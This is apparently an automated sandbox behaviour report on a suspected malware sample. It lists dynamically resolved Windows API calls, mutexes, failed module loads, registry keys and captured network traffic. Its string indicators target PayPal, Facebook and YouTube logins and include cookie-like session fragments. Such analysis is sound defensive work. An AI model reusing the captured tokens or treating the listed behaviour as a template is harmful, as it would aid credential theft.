GetCurrentProcess (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter SortGetHandle (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter SortCloseHandle (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGetDefaultProviderW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPAcquireContext (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPReleaseContext (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenKey (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDeriveKey (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyKey (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetKeyParam (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetKeyParam (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPExportKey (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPImportKey (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPEncrypt (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDecrypt (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPCreateHash (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPHashData (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPHashSessionKey (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyHash (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSignHash (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPVerifySignature (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenRandom (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetUserKey (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetProvParam (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetProvParam (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetHashParam (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetHashParam (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateKey (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateHash (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmCreateContext (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmDestroyContext (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmNotifyIME (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringA (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringA (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmSetCandidateWindow (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter AdjustWindowRectEx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter DefWindowProcW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterClass (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterClassW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateWindowEx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateWindowExW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter SetWindowLong (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter SetWindowLongW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetWindowLong (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetWindowLongW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CallWindowProc (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CallWindowProcW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetClientRect (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetParent (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptExportKey (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGetHashParam (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter _calloc_base (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSListHead (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter SetProcessDPIAware (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter PathAppendW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter DWriteCreateFactory (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter PathCombineW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GdiEntry13 (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptAcquireContextA (UID: 00000000-00004648) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00004648) "6gz238.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002204) "6gz238.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002204) "6gz238.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002204) "6gz238.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002204) "6gz238.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00002204) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcBindingFree (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsFree (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter NamespaceCallout (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeAddrInfoW (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter UrlCombineA (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter WSAStringToAddressA (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter SpUserModeInitialize (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00002712) "AppLaunch.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00002712)39:T7d3,Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\UpdatingNewTabPageData" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\!BrowserEmulation!SharedMemory!Mutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\VERMGMTBlockListFileMutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_FILEMAPSWITCH_MUTEX_2460" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_HASHFILESWITCH_MUTEX" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_DOWNLOAD_MUTEX" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\IsoScope_99c_IE_EarlyTabStart_0x8b4_Mutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\IsoScope_99c_ConnHashTable<2460>_HashTable_Mutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\{5312EE61-79E3-4A24-BFE1-132B85B23C3A}" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\IsoScope_99c_IESQMMUTEX_0_303" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\IsoScope_99c_IESQMMUTEX_0_331" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\{66D0969A-1E86-44CF-B4EC-3806DDDA3B5D}" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\IsoScope_99c_IESQMMUTEX_0_519" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\IsoScope_99c_IESQMMUTEX_0_274" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\_!SHMSFTHISTORY!_" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\MSIMGSIZECacheMutex"3a:Ta78,"3Wl168Kl.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-1" - [base:0; Status:c0000135] "3Wl168Kl.exe" failed to load missing module "ext-ms-win-kernel32-package-current-l1-1-0" - [base:0; Status:c0000135] "4fJ5jN0.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "5IC74Hi.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "6gz238.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135]3b:T431,"e8ca98e34dd9b89697bdbb1ad24e6d8928d844c431c9cab14ecb3d86551846e3" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "Px7mP64.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "yX3Tk97.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "6gz238.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "5IC74Hi.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "4fJ5jN0.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE3c:T7b9,Found string "paypalcomsignin" (Indicator: "paypal"; File: "screen_3.png") file/memory contains long string with (Indicator: "youtube"; File: "~DF29B579B3C8D9CCBD.TMP") file/memory contains long string with (Indicator: "youtube"; File: "7EFPGUBN.txt") file/memory contains long string with (Indicator: "youtube"; File: "FA813BQM.txt") file/memory contains long string with (Indicator: "youtube"; File: "0T9Z8YGU.txt") file/memory contains long string with (Indicator: "youtube"; File: "P090QVSD.txt") file/memory contains long string with (Indicator: "youtube"; File: "QJLRNKJ9.txt") file/memory contains long string with (Indicator: "youtube"; File: "WXZXLCO7.txt") Found string "0fv0jEE3TkvbDtPvg..BqqAza..AAA.0.0.BqqAza.AWdwK-Np3iAnXfdvPGgSXPw2Di8facebook.com/9217728377600312962751099076203312781702gyoarJyMfHK_ACMD41QO_A-facebook.com/9217227283174431358636109938820431278170" (Indicator: "facebook.com"; File: "4TS2GDPL.txt") Found string "0fv0jEE3TkvbDtPvg..BqqAza..AAA.0.0.BqqAza.AWdwK-Np3iAnXfdvPGgSXPw2Di8facebook.com/921772837760031296275109907620331278170" (Indicator: "facebook.com"; File: "YKAJBLNO.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367" (Indicator: "youtube"; File: "RMBB2YBH.txt") Found string "accounts.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "twitter.com" (Indicator: "twitter"; File: "PCAP") Found string "www.facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.paypal.com" (Indicator: "paypal"; File: "PCAP") Found string "www.youtube.com" (Indicator: "youtube"; File: "PCAP") file/memory contains long string with (Indicator: "youtube"; File: "SSL") Found string "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.facebook.comDNT: 1Connection: Keep-Alive" (Indicator: "facebook.com"; File: "SSL")3d:T788,"Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00000292.00000001.84498.012C1000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00001476.00000002.86174.01151000.00000020.mdmp "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00002204.00000001.86167.002C0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00003376.00000001.84461.00151000.00000020.mdmp "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00004536.00000001.84784.00260000.00000004.mdmp "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00004856.00000000.85116.00310000.00000004.mdmp "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00004856.00000001.85171.00310000.00000004.mdmp "Software\AutoIt v3\AutoIt" in Source: 00000000-00006000.00000000.82614.00A2C000.00000002.mdmp "SOFTWARE\Classes\" in Source: 00000000-00006000.00000000.82614.00A2C000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Nls\Language" in Source: 00000000-00006000.00000000.82614.00A2C000.00000002.mdmp "Software\Policies\Microsoft\Internet Explorer\TabbedBrowsing" in Source: 00000000-00006000.00000000.82614.00AA0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00006000.00000000.82614.00AA0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\TabbedBrowsing" in Source: 00000000-00006000.00000001.84348.00AA0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00006000.00000001.84348.00AA0000.00000004.mdmp3e:T52e0,"GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Content-Security-Policy-Report-Only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/sytroprc:52:0 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to=sytroprc:52:0 Report-To: {"group":"sytroprc:52:0" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/sytroprc:52:0"}] } Server: scaffolding on HTTPServer2 Content-Length: 1446 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 14 Sep 2026 14:22:37 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2475 with response body ==>30C28205C2A20A0100C2A0C28205C29B30C28205C29706092B060105050730010104C28205C28830C28205C28430C281C29EC2A2160414C3BCC2B709C3AA4D79....... "GET /r/r1.crl HTTP/1.1 Connection: 